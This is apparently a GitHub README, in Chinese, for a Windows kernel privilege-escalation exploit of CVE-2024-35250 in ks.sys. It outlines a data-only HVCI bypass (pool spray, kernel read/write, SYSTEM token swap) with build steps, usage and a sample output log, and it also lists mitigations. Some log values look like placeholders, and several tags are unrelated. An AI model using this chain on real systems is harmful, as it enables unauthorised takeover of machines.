xvalegendary/HVCIPwned
GitHub: xvalegendary/HVCIPwned
CVE-2024-35250漏洞的完整利用代码,通过ks.sys不可信指针解引用实现绕过HVCI的本地权限提升,证明数据型攻击仍可有效提权。
Stars: 3 | Forks: 0
# CVE-2024-35250
通过 Windows 内核流驱动 (`ks.sys`) 中的不可信指针解引用实现本地权限提升。
仅数据操作的 exploit —— 绕过虚拟机监控程序保护的代码完整性。
## 概述
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-35250 |
| 组件 | ks.sys (内核流) |
| 漏洞类别 | 不可信指针解引用 |
| 影响 | 提权至 NT AUTHORITY\SYSTEM |
| HVCI | 已绕过 —— 内核中无代码执行 |
| 补丁 | KB5039212 (2024 年 6 月) |
| 目标 | Windows 10 20H1+ / Windows 11 21H2-23H2 |
## 漏洞详情
`ks!KspPropertyHandler` 通过 `KspProcessPropertyNode` 分发拓扑级别的属性请求。来自用户提供的 `KSP_NODE` 结构中的 `NodeId` 字段被用作内部自动化表数组的索引,且未经验证:
```
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- attacker-controlled
```
精心构造的、超出实际节点数量的 `NodeId` 会将解引用重定向到相邻的池内存,从而产生越界读/写原语。
## 绕过 HVCI
该 exploit 仅操纵内核数据结构:
1. 通过 `NtQuerySystemInformation` 泄露 `EPROCESS` 地址
2. 触发漏洞以构建任意内核读/写
3. 遍历 `ActiveProcessLinks` 以定位 PID 4 (System)
4. 用 System token 覆盖当前进程的 token
5. 生成提升权限的 shell
未注入 shellcode。未创建或执行未签名的代码页。
未劫持控制流指针。
| 保护机制 | 状态 |
|---|---|
| HVCI / KMCI | 已绕过 |
| SMEP | 未触发 |
| SMAP | 未触发 |
| kCFG | 未触发 |
| CET / Shadow Stack | 未触发 |
## 构建
### 需求
- Visual Studio 2019 / 2022
- Windows SDK 10.0.19041.0+
### 编译
1. 在 Visual Studio 中打开 `CVE-2024-35250.sln`
2. 选择 **Release | x64**
3. 生成 → 生成解决方案 (`Ctrl+Shift+B`)
输出二进制文件:`x64\Release\CVE-2024-35250.exe`
### 手动 cl.exe 构建
```
cl.exe /nologo /W4 /O2 /TC ^
src\main.c src\device.c src\leak.c src\krw.c src\token.c src\exploit.c ^
/Iinclude ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
```
## 用法
```
CVE-2024-35250.exe
```
在易受攻击(未修补)的系统上,从非特权用户会话运行。
成功后,将以 `NT AUTHORITY\SYSTEM` 权限打开一个新的 `cmd.exe` 窗口。
### 预期输出
```
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
```
## 项目结构
```
CVE-2024-35250/
├── CVE-2024-35250.sln
├── CVE-2024-35250.vcxproj
├── CVE-2024-35250.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── include/
│ ├── common.h - types, log macros, nt api typedefs
│ ├── offsets.h - per-build eprocess field offsets
│ ├── device.h - ks device enumeration
│ ├── leak.h - kernel address leaks
│ ├── krw.h - r/w primitive context
│ ├── token.h - token swap + shell spawn
│ └── exploit.h - top-level entry
└── src/
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
```
## 支持的版本
| 操作系统 | 版本号 | 状态 |
|---|---|---|
| Windows 10 20H1 | 19041 | 支持 |
| Windows 10 20H2 | 19042 | 支持 |
| Windows 10 21H1 | 19043 | 支持 |
| Windows 10 21H2 | 19044 | 支持 |
| Windows 10 22H2 | 19045 | 支持 |
| Windows 11 21H2 | 22000 | 支持 |
| Windows 11 22H2 | 22621 | 支持 |
| Windows 11 23H2 | 22631 | 支持 |
偏移量在运行时通过 `RtlGetVersion` 自动解析。
## 注意事项
- 需要具有拓扑节点的 KS 过滤器设备(音频设备可用)
- 池喷射的成功取决于系统内存压力和时机
- 该 exploit 使用命名管道属性进行池风水
- 以常规(非管理员)用户身份运行以演示权限提升
- 由于池布局随机化,可能需要多次尝试
## 缓解措施
| 行动 | 详情 |
|---|---|
| **补丁** | 安装 KB5039212 (2024 年 6 月) 或更高版本 |
| **检测** | 监控带有 `KSPROPERTY_TYPE_TOPOLOGY` 标志的 `IOCTL_KS_PROPERTY` |
| **EDR** | 通过 EtwTi 内核回调警报 token 完整性更改 |
| **加固** | 通过 DACL 限制用户对 KS 设备接口的访问 |
## 参考资料
- [Microsoft 安全公告](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35250)
- [KB5039212 补丁说明](https://support.microsoft.com/help/5039212)
- [DEVCORE — Pwn2Own Vancouver 2024](https://devco.re/)
- [varwara/CVE-2024-35250](https://github.com/varwara/CVE-2024-35250)
## 免责声明
本项目仅供授权安全研究和教育目的使用。请勿在未经明确书面许可的情况下对系统使用。作者对因使用本软件而造成的任何误用或损害不承担任何责任。
## 许可证
[MIT](LICENSE)
标签:CVE-2024-35250, EoP, HVCI绕过, ks.sys, PoC, Web报告查看器, Windows 10, Windows 11, Windows内核安全, 二进制安全, 令牌窃取, 任意读写, 内核池溢出, 内核流驱动, 客户端加密, 客户端加密, 数据型漏洞利用, 无代码执行, 暴力破解, 未信任指针解引用, 本地权限提升, 漏洞复现, 系统提权, 红队攻防, 网络安全, 越界访问, 隐私保护